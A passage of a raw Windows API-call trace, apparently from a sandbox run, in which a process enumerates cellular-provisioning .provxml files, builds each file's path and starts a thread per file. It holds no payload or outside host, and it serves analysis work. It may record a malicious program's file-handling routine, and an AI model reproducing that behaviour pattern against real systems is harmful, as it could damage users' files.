ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bab788, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml", cAlternateFileName="315__C~1.PRO")) returned 1 [0179.290] wcscmp (_String1="315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.290] wcscmp (_String1="315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.290] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x150) returned 0x2fe29c0 [0179.290] wcscpy (in: _Dest=0x2fe29c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.290] wcscat (in: _Dest=0x2fe29c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.290] wcscat (in: _Dest=0x2fe29c0, _Source="315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml" [0179.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe29c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0179.291] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bab788, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bab788, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bab788, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x0, dwReserved1=0x0, cFileName="316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="316__C~1.PRO")) returned 1 [0179.291] wcscmp (_String1="316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.291] wcscmp (_String1="316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.291] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fe1f00 [0179.291] wcscpy (in: _Dest=0x2fe1f00, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.291] wcscat (in: _Dest=0x2fe1f00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.291] wcscat (in: _Dest=0x2fe1f00, _Source="316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml" [0179.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368 [0179.292] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bd19f0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bd19f0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bd19f0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x0, dwReserved1=0x0, cFileName="317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="317__C~1.PRO")) returned 1 [0179.292] wcscmp (_String1="317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.292] wcscmp (_String1="317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.292] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2fe2058 [0179.292] wcscpy (in: _Dest=0x2fe2058, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.292] wcscat (in: _Dest=0x2fe2058, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.292] wcscat (in: _Dest=0x2fe2058, _Source="317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml" [0179.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980 [0179.292] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bd19f0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bd19f0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bd19f0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="318__C~1.PRO")) returned 1 [0179.333] wcscmp (_String1="318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.333] wcscmp (_String1="318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.333] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x2faa568 [0179.333] wcscpy (in: _Dest=0x2faa568, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.333] wcscat (in: _Dest=0x2faa568, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.333] wcscat (in: _Dest=0x2faa568, _Source="318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml" [0179.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faa568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0179.334] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bd19f0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bd19f0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bd19f0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml", cAlternateFileName="319__C~1.PRO")) returned 1 [0179.334] wcscmp (_String1="319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.334] wcscmp (_String1="319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.334] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x162) returned 0x2f6d450 [0179.334] wcscpy (in: _Dest=0x2f6d450, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.334] wcscat (in: _Dest=0x2f6d450, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.334] wcscat (in: _Dest=0x2f6d450, _Source="319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml" [0179.334] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984 [0179.335] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901d57cf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901d57cf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901d57cf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x363, dwReserved0=0x0, dwReserved1=0x0, cFileName="31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="31__CO~1.PRO")) returned 1 [0179.335] wcscmp (_String1="31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.335] wcscmp (_String1="31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.335] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x2fe1038 [0179.335] wcscpy (in: _Dest=0x2fe1038, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.335] wcscat (in: _Dest=0x2fe1038, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.335] wcscat (in: _Dest=0x2fe1038, _Source="31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml" [0179.335] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0179.336] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bd19f0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bd19f0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bd19f0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml", cAlternateFileName="320__C~1.PRO")) returned 1 [0179.336] wcscmp (_String1="320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.336] wcscmp (_String1="320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.336] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x2fa9fc8 [0179.336] wcscpy (in: _Dest=0x2fa9fc8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.336] wcscat (in: _Dest=0x2fa9fc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.336] wcscat (in: _Dest=0x2fa9fc8, _Source="320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml" [0179.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa9fc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x988 [0179.337] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bf7c60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bf7c60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bf7c60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml", cAlternateFileName="321__C~1.PRO")) returned 1 [0179.337] wcscmp (_String1="321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.337] wcscmp (_String1="321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f02fe8 [0179.337] wcscpy (in: _Dest=0x4f02fe8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.337] wcscat (in: _Dest=0x4f02fe8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.337] wcscat (in: _Dest=0x4f02fe8, _Source="321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml" [0179.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0179.338] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bf7c60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bf7c60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bf7c60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml", cAlternateFileName="322__C~1.PRO")) returned 1 [0179.338] wcscmp (_String1="322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.338] wcscmp (_String1="322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.338] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2fe16f0 [0179.338] wcscpy (in: _Dest=0x2fe16f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.338] wcscat (in: _Dest=0x2fe16f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.338] wcscat (in: _Dest=0x2fe16f0, _Source="322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml" [0179.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe16f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0179.338] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bf7c60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bf7c60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bf7c60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x0, dwReserved1=0x0, cFileName="323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml", cAlternateFileName="323__C~1.PRO")) returned 1 [0179.338] wcscmp (_String1="323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.338] wcscmp (_String1="323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.339] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2fe1848 [0179.339] wcscpy (in: _Dest=0x2fe1848, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.339] wcscat (in: _Dest=0x2fe1848, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.339] wcscat (in: _Dest=0x2fe1848, _Source="323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml" [0179.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990 [0179.339] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bf7c60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bf7c60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bf7c60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml", cAlternateFileName="324__C~1.PRO")) returned 1 [0179.339] wcscmp (_String1="324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.339] wcscmp (_String1="324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.339] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fe1598 [0179.339] wcscpy (in: _Dest=0x2fe1598, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.340] wcscat (in: _Dest=0x2fe1598, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.340] wcscat (in: _Dest=0x2fe1598, _Source="324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All 